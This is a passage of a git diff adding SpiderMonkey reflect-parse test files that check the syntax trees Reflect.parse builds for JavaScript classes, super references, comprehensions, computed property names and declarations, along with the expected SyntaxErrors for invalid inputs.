+assertGlobalExpr("({ x: y } = z)", aExpr("=", 1, ident("z")), { objectPattern: () => 1 });
+assertGlobalExpr("({ x: y } = z)", aExpr("=", objPatt([2]), ident("z")), { propertyPattern: () => 2 });
+assertGlobalExpr("[ x ] = y", aExpr("=", 3, ident("y")), { arrayPattern: () => 3 });
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/builderExceptions.js b/js/src/tests/js1_8_5/reflect-parse/builderExceptions.js
new file mode 100644
index 000000000..e8430dbfa
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/builderExceptions.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Ensure that exceptions thrown by builder methods propagate.
+var thrown = false;
+try {
+ Reflect.parse("42", { builder: { program: function() { throw "expected" } } });
+} catch (e if e === "expected") {
+ thrown = true;
+}
+if (!thrown)
+ throw new Error("builder exception not propagated");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/reflect-parse/classes.js b/js/src/tests/js1_8_5/reflect-parse/classes.js
new file mode 100644
index 000000000..90d7df730
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/classes.js
@@ -0,0 +1,529 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Classes
+function testClasses() {
+ function methodFun(id, kind, generator, args, body = []) {
+ assertEq(generator && kind === "method", generator);
+ assertEq(typeof id === 'string' || id === null, true);
+ let methodName;
+ switch (kind) {
+ case "method":
+ methodName = typeof id === 'string' ? ident(id) : null;
+ break;
+ case "get":
+ case "set":
+ methodName = ident(`${kind} ${typeof id === 'string' ? id : ""}`);
+ break;
+ default:
+ methodName = null;
+ break;
+ }
+ return generator
+ ? genFunExpr("es6", methodName, args.map(ident), blockStmt(body))
+ : funExpr(methodName, args.map(ident), blockStmt(body));
+ }
+
+ function simpleMethod(id, kind, generator, args=[], isStatic=false) {
+ return classMethod(ident(id),
+ methodFun(id, kind, generator, args),
+ kind, isStatic);
+ }
+ function ctorWithName(id, body = []) {
+ return classMethod(ident("constructor"),
+ methodFun(id, "method", false, [], body),
+ "method", false);
+ }
+ function emptyCPNMethod(id, isStatic) {
+ return classMethod(computedName(lit(id)),
+ funExpr(null, [], blockStmt([])),
+ "method", isStatic);
+ }
+
+ function assertClassExpr(str, methods, heritage=null, name=null) {
+ let template = classExpr(name, heritage, methods);
+ assertExpr("(" + str + ")", template);
+ }
+
+ // FunctionExpression of constructor has class name as its id.
+ // FIXME: Implement ES6 function "name" property semantics (bug 883377).
+ let ctorPlaceholder = {};
+ function assertClass(str, methods, heritage=null, constructorBody=[]) {
+ let namelessStr = str.replace("NAME", "");
+ let namedStr = str.replace("NAME", "Foo");
+ let namedCtor = ctorWithName("Foo", constructorBody);
+ let namelessCtor = ctorWithName(null, constructorBody);
+ let namelessMethods = methods.map(x => x == ctorPlaceholder ? namelessCtor : x);
+ let namedMethods = methods.map(x => x == ctorPlaceholder ? namedCtor : x);
+ assertClassExpr(namelessStr, namelessMethods, heritage);
+ assertClassExpr(namedStr, namedMethods, heritage, ident("Foo"));
+
+ let template = classStmt(ident("Foo"), heritage, namedMethods);
+ assertStmt(namedStr, template);
+ }
+ function assertNamedClassError(str, error) {
+ assertError(str, error);
+ assertError("(" + str + ")", error);
+ }
+ function assertClassError(str, error) {
+ assertNamedClassError(str, error);
+ assertError("(" + str.replace("NAME", "") + ")", error);
+ }
+
+ /* Trivial classes */
+ // Unnamed class statements are forbidden, but unnamed class expressions are
+ // just fine.
+ assertError("class { constructor() { } }", SyntaxError);
+ assertClass("class NAME { constructor() { } }", [ctorPlaceholder]);
+
+ // A class name must actually be a name
+ assertNamedClassError("class x.y { constructor() {} }", SyntaxError);
+ assertNamedClassError("class [] { constructor() {} }", SyntaxError);
+ assertNamedClassError("class {x} { constructor() {} }", SyntaxError);
+ assertNamedClassError("class for { constructor() {} }", SyntaxError);
+
+ // Allow methods and accessors
+ assertClass("class NAME { constructor() { } method() { } }",
+ [ctorPlaceholder, simpleMethod("method", "method", false)]);
+
+ assertClass("class NAME { constructor() { } get method() { } }",
+ [ctorPlaceholder, simpleMethod("method", "get", false)]);
+
+ assertClass("class NAME { constructor() { } set method(x) { } }",
+ [ctorPlaceholder, simpleMethod("method", "set", false, ["x"])]);
+
+ /* Static */
+ assertClass(`class NAME {
+ constructor() { };
+ static method() { };
+ static *methodGen() { };
+ static get getter() { };
+ static set setter(x) { }
+ }`,
+ [ctorPlaceholder,
+ simpleMethod("method", "method", false, [], true),
+ simpleMethod("methodGen", "method", true, [], true),
+ simpleMethod("getter", "get", false, [], true),
+ simpleMethod("setter", "set", false, ["x"], true)]);
+
+ // It's not an error to have a method named static, static, or not.
+ assertClass("class NAME { constructor() { } static() { } }",
+ [ctorPlaceholder, simpleMethod("static", "method", false)]);
+ assertClass("class NAME { static static() { }; constructor() { } }",
+ [simpleMethod("static", "method", false, [], true), ctorPlaceholder]);
+ assertClass("class NAME { static get static() { }; constructor() { } }",
+ [simpleMethod("static", "get", false, [], true), ctorPlaceholder]);
+ assertClass("class NAME { constructor() { }; static set static(x) { } }",
+ [ctorPlaceholder, simpleMethod("static", "set", false, ["x"], true)]);
+
+ // You do, however, have to put static in the right spot
+ assertClassError("class NAME { constructor() { }; get static foo() { } }", SyntaxError);
+
+ // Spec disallows "prototype" as a static member in a class, since that
+ // one's important to make the desugaring work
+ assertClassError("class NAME { constructor() { } static prototype() { } }", SyntaxError);
+ assertClassError("class NAME { constructor() { } static *prototype() { } }", SyntaxError);
+ assertClassError("class NAME { static get prototype() { }; constructor() { } }", SyntaxError);
+ assertClassError("class NAME { static set prototype(x) { }; constructor() { } }", SyntaxError);
+
+ // You are, however, allowed to have a CPN called prototype as a static
+ assertClass("class NAME { constructor() { }; static [\"prototype\"]() { } }",
+ [ctorPlaceholder, emptyCPNMethod("prototype", true)]);
+
+ /* Constructor */
+ // Allow default constructors
+ assertClass("class NAME { }", []);
+ assertClass("class NAME extends null { }", [], lit(null));
+
+ // Derived class constructor must have curly brackets
+ assertClassError("class NAME extends null { constructor() 1 }", SyntaxError);
+
+ // It is an error to have two methods named constructor, but not other
+ // names, regardless if one is an accessor or a generator or static.
+ assertClassError("class NAME { constructor() { } constructor(a) { } }", SyntaxError);
+ let methods = [["method() { }", simpleMethod("method", "method", false)],
+ ["*method() { }", simpleMethod("method", "method", true)],
+ ["get method() { }", simpleMethod("method", "get", false)],
+ ["set method(x) { }", simpleMethod("method", "set", false, ["x"])],
+ ["static method() { }", simpleMethod("method", "method", false, [], true)],
+ ["static *method() { }", simpleMethod("method", "method", true, [], true)],
+ ["static get method() { }", simpleMethod("method", "get", false, [], true)],
+ ["static set method(x) { }", simpleMethod("method", "set", false, ["x"], true)]];
+ let i,j;
+ for (i=0; i < methods.length; i++) {
+ for (j=0; j < methods.length; j++) {
+ let str = "class NAME { constructor() { } " +
+ methods[i][0] + " " + methods[j][0] +
+ " }";
+ assertClass(str, [ctorPlaceholder, methods[i][1], methods[j][1]]);
+ }
+ }
+
+ // It is, however, not an error to have a constructor, and a method with a
+ // computed property name 'constructor'
+ assertClass("class NAME { constructor () { } [\"constructor\"] () { } }",
+ [ctorPlaceholder, emptyCPNMethod("constructor", false)]);
+
+ // It is an error to have a generator or accessor named constructor
+ assertClassError("class NAME { *constructor() { } }", SyntaxError);
+ assertClassError("class NAME { get constructor() { } }", SyntaxError);
+ assertClassError("class NAME { set constructor() { } }", SyntaxError);
+
+ /* Semicolons */
+ // Allow Semicolons in Class Definitions
+ assertClass("class NAME { constructor() { }; }", [ctorPlaceholder]);
+
+ // Allow more than one semicolon, even in otherwise trivial classses
+ assertClass("class NAME { ;;; constructor() { } }", [ctorPlaceholder]);
+
+ // Semicolons are optional, even if the methods share a line
+ assertClass("class NAME { method() { } constructor() { } }",
+ [simpleMethod("method", "method", false), ctorPlaceholder]);
+
+ /* Generators */
+ // No yield as a class name inside a generator
+ assertError(`function *foo() {
+ class yield {
+ constructor() { }
+ }
+ }`, SyntaxError);
+ assertError(`function *foo() {
+ (class yield {
+ constructor() { }
+ })
+ }`, SyntaxError);
+
+ // No legacy generators for methods.
+ assertClassError(`class NAME {
+ constructor() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ method() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ get method() { yield 2; }
+ }`, SyntaxError);
+ assertClassError(`class NAME {
+ set method() { yield 2; }
+ }`, SyntaxError);
+
+ // Methods may be generators, but not accessors
+ assertClassError("class NAME { constructor() { } *get foo() { } }", SyntaxError);
+ assertClassError("class NAME { constructor() { } *set foo() { } }", SyntaxError);
+
+ assertClass("class NAME { *method() { } constructor() { } }",
+ [simpleMethod("method", "method", true), ctorPlaceholder]);
+
+ /* Strictness */
+ // yield is a strict-mode keyword, and class definitions are always strict.
+ assertClassError("class NAME { constructor() { var yield; } }", SyntaxError);
+
+ // Beware of the strictness of computed property names. Here use bareword
+ // deletion (a deprecated action) to check.
+ assertClassError("class NAME { constructor() { } [delete bar]() { }}", SyntaxError);
+
+ /* Bindings */
+ // Class statements bind lexically, so they should collide with other
+ // in-block lexical bindings, but class expressions don't.
+ let FooCtor = ctorWithName("Foo");
+ assertError("{ let Foo; class Foo { constructor() { } } }", SyntaxError);
+ assertStmt("{ let Foo; (class Foo { constructor() { } }) }",
+ blockStmt([letDecl([{id: ident("Foo"), init: null}]),
+ exprStmt(classExpr(ident("Foo"), null, [FooCtor]))]));
+ assertError("{ const Foo = 0; class Foo { constructor() { } } }", SyntaxError);
+ assertStmt("{ const Foo = 0; (class Foo { constructor() { } }) }",
+ blockStmt([constDecl([{id: ident("Foo"), init: lit(0)}]),
+ exprStmt(classExpr(ident("Foo"), null, [FooCtor]))]));
+ assertError("{ class Foo { constructor() { } } class Foo { constructor() { } } }", SyntaxError);
+ assertStmt(`{
+ (class Foo {
+ constructor() { }
+ },
+ class Foo {
+ constructor() { }
+ });
+ }`,
+ blockStmt([exprStmt(seqExpr([classExpr(ident("Foo"), null, [FooCtor]),
+ classExpr(ident("Foo"), null, [FooCtor])]))]));
+ assertStmt(`{
+ var x = class Foo { constructor() { } };
+ class Foo { constructor() { } }
+ }`,
+ blockStmt([varDecl([{ id: ident("x"),
+ init: classExpr(ident("Foo"), null, [FooCtor])
+ }]),
+ classStmt(ident("Foo"), null, [FooCtor])]));
+
+
+ // Can't make a lexical binding without a block.
+ assertError("if (1) class Foo { constructor() { } }", SyntaxError);
+
+ /* Heritage Expressions */
+ // It's illegal to have things that look like "multiple inheritance":
+ // non-parenthesized comma expressions.
+ assertClassError("class NAME extends null, undefined { constructor() { } }", SyntaxError);
+
+ // Again check for strict-mode in heritage expressions
+ assertClassError("class NAME extends (delete x) { constructor() { } }", SyntaxError);
+
+ // You must specify an inheritance if you say "extends"
+ assertClassError("class NAME extends { constructor() { } }", SyntaxError);
+
+ // "extends" is still a valid name for a method
+ assertClass("class NAME { constructor() { }; extends() { } }",
+ [ctorPlaceholder, simpleMethod("extends", "method", false)]);
+
+ // Immediate expression
+ assertClass("class NAME extends null { constructor() { } }",
+ [ctorPlaceholder], lit(null));
+
+ // Sequence expresson
+ assertClass("class NAME extends (undefined, undefined) { constructor() { } }",
+ [ctorPlaceholder], seqExpr([ident("undefined"), ident("undefined")]));
+
+ // Function expression
+ let emptyFunction = funExpr(null, [], blockStmt([]));
+ assertClass("class NAME extends function(){ } { constructor() { } }",
+ [ctorPlaceholder], emptyFunction);
+
+ // New expression
+ assertClass("class NAME extends new function(){ }() { constructor() { } }",
+ [ctorPlaceholder], newExpr(emptyFunction, []));
+
+ // Call expression
+ assertClass("class NAME extends function(){ }() { constructor() { } }",
+ [ctorPlaceholder], callExpr(emptyFunction, []));
+
+ // Dot expression
+ assertClass("class NAME extends {}.foo { constructor() { } }",
+ [ctorPlaceholder], dotExpr(objExpr([]), ident("foo")));
+
+ // Member expression
+ assertClass("class NAME extends {}[foo] { constructor() { } }",
+ [ctorPlaceholder], memExpr(objExpr([]), ident("foo")));
+
+ /* SuperProperty */
+ // NOTE: Some of these tests involve object literals, as SuperProperty is a
+ // valid production in any method definition, including in objectl
+ // litterals. These tests still fall here, as |super| is not implemented in
+ // any form without classes.
+
+ function assertValidSuperProps(assertion, makeStr, makeExpr, type, generator, args, static,
+ extending)
+ {
+ let superProperty = superProp(ident("prop"));
+ let superMember = superElem(lit("prop"));
+
+ let situations = [
+ ["super.prop", superProperty],
+ ["super['prop']", superMember],
+ ["super.prop()", callExpr(superProperty, [])],
+ ["super['prop']()", callExpr(superMember, [])],
+ ["new super.prop()", newExpr(superProperty, [])],
+ ["new super['prop']()", newExpr(superMember, [])],
+ ["delete super.prop", unExpr("delete", superProperty)],
+ ["delete super['prop']", unExpr("delete", superMember)],
+ ["++super.prop", updExpr("++", superProperty, true)],
+ ["super['prop']--", updExpr("--", superMember, false)],
+ ["super.prop = 4", aExpr("=", superProperty, lit(4))],
+ ["super['prop'] = 4", aExpr("=", superMember, lit(4))],
+ ["super.prop += 4", aExpr("+=", superProperty, lit(4))],
+ ["super['prop'] += 4", aExpr("+=", superMember, lit(4))],
+ ["super.prop -= 4", aExpr("-=", superProperty, lit(4))],
+ ["super['prop'] -= 4", aExpr("-=", superMember, lit(4))],
+ ["super.prop *= 4", aExpr("*=", superProperty, lit(4))],
+ ["super['prop'] *= 4", aExpr("*=", superMember, lit(4))],
+ ["super.prop /= 4", aExpr("/=", superProperty, lit(4))],
+ ["super['prop'] /= 4", aExpr("/=", superMember, lit(4))],
+ ["super.prop %= 4", aExpr("%=", superProperty, lit(4))],
+ ["super['prop'] %= 4", aExpr("%=", superMember, lit(4))],
+ ["super.prop <<= 4", aExpr("<<=", superProperty, lit(4))],
+ ["super['prop'] <<= 4", aExpr("<<=", superMember, lit(4))],
+ ["super.prop >>= 4", aExpr(">>=", superProperty, lit(4))],
+ ["super['prop'] >>= 4", aExpr(">>=", superMember, lit(4))],
+ ["super.prop >>>= 4", aExpr(">>>=", superProperty, lit(4))],
+ ["super['prop'] >>>= 4", aExpr(">>>=", superMember, lit(4))],
+ ["super.prop |= 4", aExpr("|=", superProperty, lit(4))],
+ ["super['prop'] |= 4", aExpr("|=", superMember, lit(4))],
+ ["super.prop ^= 4", aExpr("^=", superProperty, lit(4))],
+ ["super['prop'] ^= 4", aExpr("^=", superMember, lit(4))],
+ ["super.prop &= 4", aExpr("&=", superProperty, lit(4))],
+ ["super['prop'] &= 4", aExpr("&=", superMember, lit(4))],
+
+ // We can also use super from inside arrow functions in method
+ // definitions
+ ["()=>super.prop", arrowExpr([], superProperty)],
+ ["()=>super['prop']", arrowExpr([], superMember)]];
+
+ for (let situation of situations) {
+ let sitStr = situation[0];
+ let sitExpr = situation[1];
+
+ let fun = methodFun("method", type, generator, args, [exprStmt(sitExpr)]);
+ let str = makeStr(sitStr, type, generator, args, static, extending);
+ assertion(str, makeExpr(fun, type, static), extending);
+ }
+ }
+
+ function assertValidSuperPropTypes(assertion, makeStr, makeExpr, static, extending) {
+ for (let type of ["method", "get", "set"]) {
+ if (type === "method") {
+ // methods can also be generators
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, true, [], static, extending);
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, false, [], static, extending);
+ continue;
+ }
+
+ // Setters require 1 argument, and getters require 0
+ assertValidSuperProps(assertion, makeStr, makeExpr, type, false,
+ type === "set" ? ["x"] : [], static, extending);
+ }
+ }
+
+ function makeSuperPropMethodStr(propStr, type, generator, args) {
+ return `${type === "method" ? "" : type} ${generator ? "*" : ""} method(${args.join(",")})
+ {
+ ${propStr};
+ }`;
+ }
+
+ function makeClassSuperPropStr(propStr, type, generator, args, static, extending) {
+ return `class NAME ${extending ? "extends null" : ""} {
+ constructor() { };
+ ${static ? "static" : ""} ${makeSuperPropMethodStr(propStr, type, generator, args)}
+ }`;
+ }
+ function makeClassSuperPropExpr(fun, type, static) {
+ // We are going right into assertClass, so we don't have to build the
+ // entire statement.
+ return [ctorPlaceholder,
+ classMethod(ident("method"), fun, type, static)];
+ }
+ function doClassSuperPropAssert(str, expr, extending) {
+ assertClass(str, expr, extending ? lit(null) : null);
+ }
+ function assertValidClassSuperPropExtends(extending) {
+ // super.prop and super[prop] are valid, regardless of whether the
+ // method is static or not
+ assertValidSuperPropTypes(doClassSuperPropAssert, makeClassSuperPropStr, makeClassSuperPropExpr,
+ false, extending);
+ assertValidSuperPropTypes(doClassSuperPropAssert, makeClassSuperPropStr, makeClassSuperPropExpr,
+ true, extending);
+ }
+ function assertValidClassSuperProps() {
+ // super.prop and super[prop] are valid, regardless of class heritage
+ assertValidClassSuperPropExtends(false);
+ assertValidClassSuperPropExtends(true);
+ }
+
+ function makeOLSuperPropStr(propStr, type, generator, args) {
+ let str = `({ ${makeSuperPropMethodStr(propStr, type, generator, args)} })`;
+ return str;
+ }
+ function makeOLSuperPropExpr(fun) {
+ return objExpr([{ type: "Property", key: ident("method"), value: fun}]);
+ }
+ function assertValidOLSuperProps() {
+ assertValidSuperPropTypes(assertExpr, makeOLSuperPropStr, makeOLSuperPropExpr);
+ }
+
+
+ // Check all valid uses of SuperProperty
+ assertValidClassSuperProps();
+ assertValidOLSuperProps();
+
+ // SuperProperty is forbidden outside of method definitions.
+ assertError("function foo () { super.prop; }", SyntaxError);
+ assertError("(function () { super.prop; }", SyntaxError);
+ assertError("(()=>super.prop)", SyntaxError);
+ assertError("function *foo() { super.prop; }", SyntaxError);
+ assertError("super.prop", SyntaxError);
+ assertError("function foo () { super['prop']; }", SyntaxError);
+ assertError("(function () { super['prop']; }", SyntaxError);
+ assertError("(()=>super['prop'])", SyntaxError);
+ assertError("function *foo() { super['prop']; }", SyntaxError);
+ assertError("super['prop']", SyntaxError);
+
+ // Or inside functions inside method definitions...
+ assertClassError("class NAME { constructor() { function nested() { super.prop; }}}", SyntaxError);
+
+ // Bare super is forbidden
+ assertError("super", SyntaxError);
+
+ // Even where super is otherwise allowed
+ assertError("{ foo() { super } }", SyntaxError);
+ assertClassError("class NAME { constructor() { super; } }", SyntaxError);
+
+ /* SuperCall */
+
+ // SuperCall is invalid outside derived class constructors.
+ assertError("super()", SyntaxError);
+ assertError("(function() { super(); })", SyntaxError);
+
+ // SuperCall is invalid in generator comprehensions, even inside derived
+ // class constructors
+ assertError("(super() for (x in y))", SyntaxError);
+ assertClassError("class NAME { constructor() { (super() for (x in y))", SyntaxError);
+
+
+ // Even in class constructors
+ assertClassError("class NAME { constructor() { super(); } }", SyntaxError);
+
+ function superConstructor(args) {
+ return classMethod(ident("constructor"),
+ methodFun("NAME", "method", false,
+ [], [exprStmt(superCallExpr(args))]),
+ "method", false);
+ }
+
+ function superCallBody(args) {
+ return [exprStmt(superCallExpr(args))];
+ }
+
+ // SuperCall works with various argument configurations.
+ assertClass("class NAME extends null { constructor() { super() } }",
+ [ctorPlaceholder], lit(null), superCallBody([]));
+ assertClass("class NAME extends null { constructor() { super(1) } }",
+ [ctorPlaceholder], lit(null), superCallBody([lit(1)]));
+ assertClass("class NAME extends null { constructor() { super(1, a) } }",
+ [ctorPlaceholder], lit(null), superCallBody([lit(1), ident("a")]));
+ assertClass("class NAME extends null { constructor() { super(...[]) } }",
+ [ctorPlaceholder], lit(null), superCallBody([spread(arrExpr([]))]));
+
+ /* EOF */
+ // Clipped classes should throw a syntax error
+ assertClassError("class NAME {", SyntaxError);
+ assertClassError("class NAME {;", SyntaxError);
+ assertClassError("class NAME { constructor", SyntaxError);
+ assertClassError("class NAME { constructor(", SyntaxError);
+ assertClassError("class NAME { constructor()", SyntaxError);
+ assertClassError("class NAME { constructor()", SyntaxError);
+ assertClassError("class NAME { constructor() {", SyntaxError);
+ assertClassError("class NAME { constructor() { }", SyntaxError);
+ assertClassError("class NAME { static", SyntaxError);
+ assertClassError("class NAME { static y", SyntaxError);
+ assertClassError("class NAME { static *", SyntaxError);
+ assertClassError("class NAME { static *y", SyntaxError);
+ assertClassError("class NAME { static get", SyntaxError);
+ assertClassError("class NAME { static get y", SyntaxError);
+ assertClassError("class NAME { static }", SyntaxError);
+ assertClassError("class NAME { static ;", SyntaxError);
+ assertClassError("class NAME extends", SyntaxError);
+ assertClassError("class NAME { constructor() { super", SyntaxError);
+ assertClassError("class NAME { constructor() { super.", SyntaxError);
+ assertClassError("class NAME { constructor() { super.x", SyntaxError);
+ assertClassError("class NAME { constructor() { super.m(", SyntaxError);
+ assertClassError("class NAME { constructor() { super[", SyntaxError);
+ assertClassError("class NAME { constructor() { super(", SyntaxError);
+
+ // Can not omit curly brackets
+ assertClassError("class NAME { constructor() ({}) }", SyntaxError);
+ assertClassError("class NAME { constructor() void 0 }", SyntaxError);
+ assertClassError("class NAME { constructor() 1 }", SyntaxError);
+ assertClassError("class NAME { constructor() false }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() ({}) }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() void 0 }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() 1 }", SyntaxError);
+ assertClassError("class NAME { constructor() {} a() false }", SyntaxError);
+
+}
+
+runtest(testClasses);
diff --git a/js/src/tests/js1_8_5/reflect-parse/comprehensions.js b/js/src/tests/js1_8_5/reflect-parse/comprehensions.js
new file mode 100644
index 000000000..9ea73f497
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/comprehensions.js
@@ -0,0 +1,65 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Transform the legacy comprehensions to less legacy comprehensions and test
+// them.
+function assertFormerlyES6ArrayComp(expr, body, blocks, filter) {
+ let match = expr.match(/^\[(.*?) for (.*)\]$/);
+ assertEq(match !== null, true);
+ let expr2 = "[for " + match[2] + " " + match[1] + "]";
+ assertExpr(expr2, compExpr(body, blocks, filter, "modern"));
+}
+
+assertFormerlyES6ArrayComp("[ x for (x of foo)]",
+ ident("x"), [compOfBlock(ident("x"), ident("foo"))], null);
+assertFormerlyES6ArrayComp("[ [x,y] for (x of foo) for (y of bar)]",
+ arrExpr([ident("x"), ident("y")]), [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar"))], null);
+assertFormerlyES6ArrayComp("[ [x,y,z] for (x of foo) for (y of bar) for (z of baz)]",
+ arrExpr([ident("x"), ident("y"), ident("z")]),
+ [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar")), compOfBlock(ident("z"), ident("baz"))],
+ null);
+
+assertFormerlyES6ArrayComp("[ x for (x of foo) if (p)]",
+ ident("x"), [compOfBlock(ident("x"), ident("foo"))], ident("p"));
+assertFormerlyES6ArrayComp("[ [x,y] for (x of foo) for (y of bar) if (p)]",
+ arrExpr([ident("x"), ident("y")]), [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar"))], ident("p"));
+assertFormerlyES6ArrayComp("[ [x,y,z] for (x of foo) for (y of bar) for (z of baz) if (p) ]",
+ arrExpr([ident("x"), ident("y"), ident("z")]),
+ [compOfBlock(ident("x"), ident("foo")), compOfBlock(ident("y"), ident("bar")), compOfBlock(ident("z"), ident("baz"))],
+ ident("p"));
+
+// FormerlyES6 comprehensions with multiple ComprehensionIf.
+
+assertExpr("[for (x of foo) x]",
+ compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo"))], null, "modern"));
+assertExpr("[for (x of foo) if (c1) x]",
+ compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1"))], null, "modern"));
+assertExpr("[for (x of foo) if (c1) if (c2) x]",
+ compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1")), compIf(ident("c2"))], null, "modern"));
+
+assertExpr("[for (x of foo) if (c1) for (y of bar) x]",
+ compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1")),
+ compOfBlock(ident("y"), ident("bar"))], null, "modern"));
+assertExpr("[for (x of foo) if (c1) for (y of bar) if (c2) x]",
+ compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1")),
+ compOfBlock(ident("y"), ident("bar")),
+ compIf(ident("c2"))], null, "modern"));
+assertExpr("[for (x of foo) if (c1) if (c2) for (y of bar) if (c3) if (c4) x]",
+ compExpr(ident("x"), [compOfBlock(ident("x"), ident("foo")),
+ compIf(ident("c1")), compIf(ident("c2")),
+ compOfBlock(ident("y"), ident("bar")),
+ compIf(ident("c3")), compIf(ident("c4"))], null, "modern"));
+
+assertExpr("[for (x of y) if (false) for (z of w) if (0) x]",
+ compExpr(ident("x"), [compOfBlock(ident("x"), ident("y")),
+ compIf(lit(false)),
+ compOfBlock(ident("z"), ident("w")),
+ compIf(lit(0))], null, "modern"));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/computedPropNames.js b/js/src/tests/js1_8_5/reflect-parse/computedPropNames.js
new file mode 100644
index 000000000..d96e73152
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/computedPropNames.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 924688: computed property names
+assertExpr('a= {[field1]: "a", [field2=1]: "b"}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(ident("field1")), value: lit("a")},
+ { key: computedName(aExpr("=", ident("field2"), lit(1))),
+ value: lit("b")}])));
+
+assertExpr('a= {["field1"]: "a", field2 : "b"}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(lit("field1")), value: lit("a") },
+ { key: ident("field2"), value: lit("b") }])));
+
+assertExpr('a= {[1]: 1, 2 : 2}',
+ aExpr("=", ident("a"),
+ objExpr([{ key: computedName(lit(1)), value: lit(1) },
+ { key: lit(2), value: lit(2) }])));
+
+// Bug 924688: computed property names - location information
+var node = Reflect.parse("a = {[field1]: 5}");
+Pattern({ body: [ { expression: { right: { properties: [ {key: { loc:
+ { start: { line: 1, column: 5 }, end: { line: 1, column: 13 }}}}]}}}]}).match(node);
+
+// Bug 1048384 - Getter/setter syntax with computed names
+assertExpr("b = { get [meth]() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: computedName(ident("meth")), value: funExpr(null, [], blockStmt([])),
+ method: false, kind: "get"}])));
+assertExpr("b = { set [meth](a) { } }", aExpr("=", ident("b"),
+ objExpr([{ key: computedName(ident("meth")), value: funExpr(null, [ident("a")],
+ blockStmt([])), method: false, kind: "set"}])));
+
+// Bug 1220702 - If it's not written as a method, `.method` should be false.
+assertExpr("({[x]: function () {}})",
+ objExpr([{
+ key: computedName(ident("x")),
+ value: funExpr(null, [], blockStmt([])),
+ method: false,
+ kind: "init"
+ }]));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/declarations.js b/js/src/tests/js1_8_5/reflect-parse/declarations.js
new file mode 100644
index 000000000..785ba0090
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/declarations.js
@@ -0,0 +1,97 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 632056: constant-folding
+program([exprStmt(ident("f")),
+ ifStmt(lit(1),
+ blockStmt([funDecl(ident("f"), [], blockStmt([]))]),
+ null)]).assert(Reflect.parse("f; if (1) function f(){}"));
+// declarations
+
+assertDecl("var x = 1, y = 2, z = 3",
+ varDecl([{ id: ident("x"), init: lit(1) },
+ { id: ident("y"), init: lit(2) },
+ { id: ident("z"), init: lit(3) }]));
+assertDecl("var x, y, z",
+ varDecl([{ id: ident("x"), init: null },
+ { id: ident("y"), init: null },
+ { id: ident("z"), init: null }]));
+assertDecl("function foo() { }",
+ funDecl(ident("foo"), [], blockStmt([])));
+assertDecl("function foo() { return 42 }",
+ funDecl(ident("foo"), [], blockStmt([returnStmt(lit(42))])));
+
+assertDecl("function foo(...rest) { }",
+ funDecl(ident("foo"), [], blockStmt([]), [], ident("rest")));
+
+assertDecl("function foo(a=4) { }", funDecl(ident("foo"), [ident("a")], blockStmt([]), [lit(4)]));
+assertDecl("function foo(a, b=4) { }", funDecl(ident("foo"), [ident("a"), ident("b")], blockStmt([]), [null, lit(4)]));
+assertDecl("function foo(a, b=4, ...rest) { }",
+ funDecl(ident("foo"), [ident("a"), ident("b")], blockStmt([]), [null, lit(4), null], ident("rest")));
+assertDecl("function foo(a=(function () {})) { function a() {} }",
+ funDecl(ident("foo"), [ident("a")], blockStmt([funDecl(ident("a"), [], blockStmt([]))]),
+ [funExpr(null, [], blockStmt([]))]));
+
+// Bug 1018628: default paremeter for destructuring
+assertDecl("function f(a=1, [x,y]=[2,3]) { }",
+ funDecl(ident("f"),
+ [ident("a"), arrPatt([ident("x"), ident("y")])],
+ blockStmt([]),
+ [lit(1), arrExpr([lit(2), lit(3)])]));
+
+// Bug 591437: rebound args have their defs turned into uses
+assertDecl("function f(a) { function a() { } }",
+ funDecl(ident("f"), [ident("a")], blockStmt([funDecl(ident("a"), [], blockStmt([]))])));
+assertDecl("function f(a,b,c) { function b() { } }",
+ funDecl(ident("f"), [ident("a"),ident("b"),ident("c")], blockStmt([funDecl(ident("b"), [], blockStmt([]))])));
+assertDecl("function f(a,[x,y]) { function a() { } }",
+ funDecl(ident("f"),
+ [ident("a"), arrPatt([assignElem("x"), assignElem("y")])],
+ blockStmt([funDecl(ident("a"), [], blockStmt([]))])));
+
+// Bug 591450: this test currently crashes because of a bug in jsparse
+// assertDecl("function f(a,[x,y],b,[w,z],c) { function b() { } }",
+// funDecl(ident("f"),
+// [ident("a"), arrPatt([ident("x"), ident("y")]), ident("b"), arrPatt([ident("w"), ident("z")]), ident("c")],
+// blockStmt([funDecl(ident("b"), [], blockStmt([]))])));
+
